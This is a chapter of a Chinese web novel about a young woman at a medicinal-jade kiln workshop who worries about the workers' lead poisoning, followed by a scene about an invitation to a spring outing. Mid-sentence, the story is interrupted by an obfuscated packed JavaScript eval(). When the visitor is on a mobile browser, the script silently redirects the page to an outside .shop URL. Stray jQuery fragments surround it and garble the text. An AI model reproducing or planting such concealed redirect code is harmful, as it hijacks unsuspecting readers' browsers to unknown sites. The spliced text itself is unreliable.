卓娘子来的匆忙,虽然强压着董景让自己换了衣裳,手却只是略洗了一遍,完全没达到她认为的“干净”程度。
是以,当卓娘子意识到,易伍并没有因为她的“不洁”而抗拒和她握手时,脸上的笑是挡也挡不住的。
“可不敢可不敢,我这手上全是窑灰,小姑娘家家还是少接触为妙。”
卓娘子一边收了手,一边瞪了旁边的董景一眼。
就是这个可恶的董胖子,催得她连手都没洗干净。
“听董胖子说,你想烧骨玉?可听他们说了其中凶险之处了?”
卓娘子是个不耐烦客套的性格,刚坐下,就直奔主题。
易伍倒是适应良好,卓娘子问什么,她就老实回答。
血祭、提前准备的兽骨、甚至于她粗略的控制变量法,全都毫无保留的讲了出来。
卓娘子越听越兴奋,在林家工坊呆了十年,她已经很久没遇到过对试烧药玉的流程这么清楚的人了。
对于林音留下的小鱼儿相关信息,卓娘子一直都是清楚的,但她从没有放在心上。
林音从不是生而知之者,跟在林音身后,看着她一点点摸索出药玉各种原料的最佳比例,没有人比卓清更清楚这一点。
如此精彩绝艳的人,卓清一直觉得,在她有生之年,是不会再遇到第二位的。
小鱼儿?即使是海里那所谓的鲲兽,怕也比不上她师父林音的一个小指头。
但还好,让她遇到了真的小鱼儿,虽然依旧比不上师父,但至少有她一二分精彩。
说到高兴处,卓清连手上的窑灰都顾不得了,拉着易伍就要去窑口。
“那群小崽子烧窑我放心不下,你跟嬢嬢去,等嬢嬢烧一炉漂亮的骨粉给你!”
易伍:好感度是不是涨的太快了点?
让易伍没想到的是,说是要去窑口,但卓清却拉着她先到了角落的房间,进门前还在门口柜子里拽了个口罩给她。
易伍扫了一眼,门口柜子很陈旧,但除了卓清拿口罩的那层,其他位置积累了不少灰尘。
“进到烧制区前,记得来这里带口罩,还有外面的罩衣,这是规矩。”
是很多人都忘了的规矩。
林音建立工坊时,特意强调过的口罩和罩衣,如今坚持下来的人并不多,很多人已经摒弃了麻烦的口罩,夏天天气热,有些人更是连罩衣都省了。
易伍接受良好,她知道这种高污染产业对于身体的伤害究竟有多大,既然林音定下了规矩,她自然是要严格遵守的。
换好了衣服,卓清又塞给易伍一个带盖子的水杯。
“自己烧的,别嫌弃。”
水杯里已经装满了牛乳,就连杯盖,都是带螺纹的,显然这应该是卓清之前给自己准备的。
易伍来到大梁这些日子,走到哪里都是茶茶茶,猛的有牛乳可以喝,脸上的惊喜是怎么也遮不住的。
“以后你就知道了,牛乳也是我们这些药玉匠人不能离手的东西,师父说,有助于预防职业病。”
易伍默然,受限于原材料,想在大梁发展无铅玻璃减轻工人们的身体负担,对于刚起步的林音来说,还是太过奢侈了。
口罩、罩衣,甚至是牛乳,也不过延缓他们铅中毒的进程。
但即使出发点是好的,这些口口相传的技巧和规矩,也被那些图方便的匠人们无视了许多。
心中记下这些事,来到窑口时,易伍送来的兽骨绝大多数已经进去。
好在还没有封窑,卓清见她感兴趣,也就带着她进去转了一圈。
“你看那里、那里还有这里,这窑有些年份了,修补多次,如今也只用来烧一些不太重要的东西,但凡贵一些的,都不敢在这口窑里烧了。”
卓清指出来的,都是些细微的裂缝,若不仔细观察,是绝看不到的。
易伍惊叹于卓清的眼力,但卓清却并不得意,反而满脸愁容。
“这哪是眼力,全是一窑窑废品指出来的罢了。”
第一口窑出现良品率下滑的时候,卓清还动手修补过,后来越来越多的窑口出现问题,卓清也开始无能为力。
舍弃旧窑,重建新窑,是每个药玉工坊要经历的阵痛。
谁也逃不掉。
亲自交代了烧骨粉的诀窍后,卓清又带着易伍满园区的转。
“你要做那些实验,我可以帮你看窑,但工坊如今是拿不出一间现成的窑口给你的,新建又要时间,我的建议是,找一间废弃的窑口,简单重修后利用起来。”
实验而已,烧制强度不比正式生产,找个还过得去的老窑修补一番,撑一两个月是没问题的。
在这期间,再找个地方起新窑,等老窑再次歇业,新窑也就能用了。
易伍自然没有什么意见,一边听卓清唠叨那些老窑废弃的原因,一边皱着眉头扫视那些窑工。
别说是口罩了,就连罩衣,十个窑工总有八个是不愿意穿的,毕竟他们的岗位在窑口,要掌握的也是接近千度的温度,有时心烦了,干脆就打了赤膊。
卓清看着易伍的脸色越来越凝重,略想了下,笑容都真切了两分。
“都是妈生父母养的,没什么好害羞的,不过是赤膊而已……”
易伍却第一次打断了她的话,“卓姐姐,工坊里可有冰窖?或是冰鉴?”
卓清一时没跟上易伍的思路,嘴里的高谈也就成了嘟囔。
“工坊是做工的地方,哪里能有那富贵器物?”
易伍摇摇头,又轻叹口气。
“牛乳是卓姐姐自己备的吧,他们不带口罩,不穿罩衣,还舍不得饮牛乳,就算是铁打的,也撑不过十年窑灰的磋磨。”
卓清做了十年窑工,守了十年窑口,一口白牙还没出现蓝黑色铅线,说明林音嘱咐的那些防护措施坚持的不错。
但那些窑工,尤其是喜欢高声交谈的那些,十个里面总能让易伍看到一两个牙齿上出现铅线的。
怪不得祁安说工坊里缺人手呢,在防护措施几乎没有的情况下,第一代窑工能坚持到现在,都能夸一句体质不错了。
在卓清的建议下,易伍定下了两口老窑,董景苦着脸应下,就差没有哭出来了。
易伍只好将改善窑工生活质量的话咽了回去,看来工坊的利润很不乐观了。
如今她不过是要修两口窑,再建一口窑,就让董景为难成这样,若是她再提出来,要在工坊建个冰窖,并供应不限量的牛乳,董景怕不是当即就能哭出来。
缓一缓吧,等她的骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726299|208858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玉烧成了,换到了钱就来工坊抓生产安全好了。
和卓娘子约好了第三天再来开窑后,易伍就和祁安重新回到了祁宅。
心里惦着那些打赤膊的匠人,易伍憋了一路,最后还是在正堂将这件事捅了出去。
“……我看姐夫去窑口附近,也如那些匠人般毫无防护,总归是风险不小的。
若不信,可找专人去看那些经年匠人的牙齿,定能找到不少出现蓝黑色铅线的。
我也知道姐夫的难处,牛乳和冰窖造价不菲,但罩衣和口罩有现成的,自家还有秀坊,花不了几个钱的……”
易伍说的煞有其事,祁安也不由郑重起来,等易伍再到工坊的时候,就很少能看到打赤膊的匠人了。
当然这是后话,易伍和祁安科普了铅中毒的危害后,就打算回自己院子看书,但还没等她离开正堂,就看到乐思举着一封请柬直奔正堂来了。
“鱼姑娘,老爷,宋荣宋大人府上送来了一封请柬,说务必请鱼姑娘赏脸去西湖踏青。”
易伍满脸错愕,每块肌肉都写着“我么?”的表情包。
祁安似乎并不意外,笑呵呵接下看了一眼后,更高兴了两分。
“这下你可跑不掉了,这帖子是宋荣亲自落的款,可和清和拿回来的那张大不一样。”
易伍脸色更黑了,谁写的一点都不重要,她还等着和卓清讨论药玉配方呢,哪有时间陪这些权贵们赏花踏青。
简直耽误她的时间!
见易伍连嘴巴都嘟了起来,祁安脸上的笑容更胜,笑完后,他还欲盖弥彰的敷衍了易伍两句。
“宅子里这几日本就在为你的接风宴准备,这些场合你早晚是要去的,放宽心吧。”
易伍脸色更苦了两分。
“一定要去么?”
祁安故意板了脸色,憋着笑训斥。
“出去玩而已,清和年年盼着春日,怎么到你这里就要杀了你似的。”
易伍:你不懂,疲惫.jpg
她可是看过不少以唐宋为背景的电视剧的,那华丽,那奢靡,那满头珠翠……
她心疼自己的脖子……
“能不盛装么?”
易伍抱着最后一丝希望,近乎哀求。
“这是什么话,你是去别家做客,自然不好太过隆重,等我们办接风宴那日,你才能盛装呢。”
得到这个允诺,易伍简直大大的松了口气。
最好呢,她那天依旧是带着头上这两个小到看不见的珠花,轻轻松松的亲近大自然去。
看到易伍如释重负的样子,祁安的嘴角差点压不住了。
他再次在易伍身上看到了爱妻的影子,曾几何时,她也是那个一提到盛装打扮就满脸苦相的小姑娘。
小姑娘还是太年轻了,根本意识不到,他们二人口中的盛装打扮的定义完全不一样。
与专为易伍举办的接风宴相比,去踏青的装扮总是要简单许多的,当然不算盛装。
但对于易伍因长期伏案而脆弱不堪的脖子来说,无论是接风宴上的完全盛装,还是踏青时贵女们的寻常打扮,都是不可承受之重。
被竹青和林清和联手按在铜镜前的易伍,只能哀叹连连。
躲不过,根本躲不过。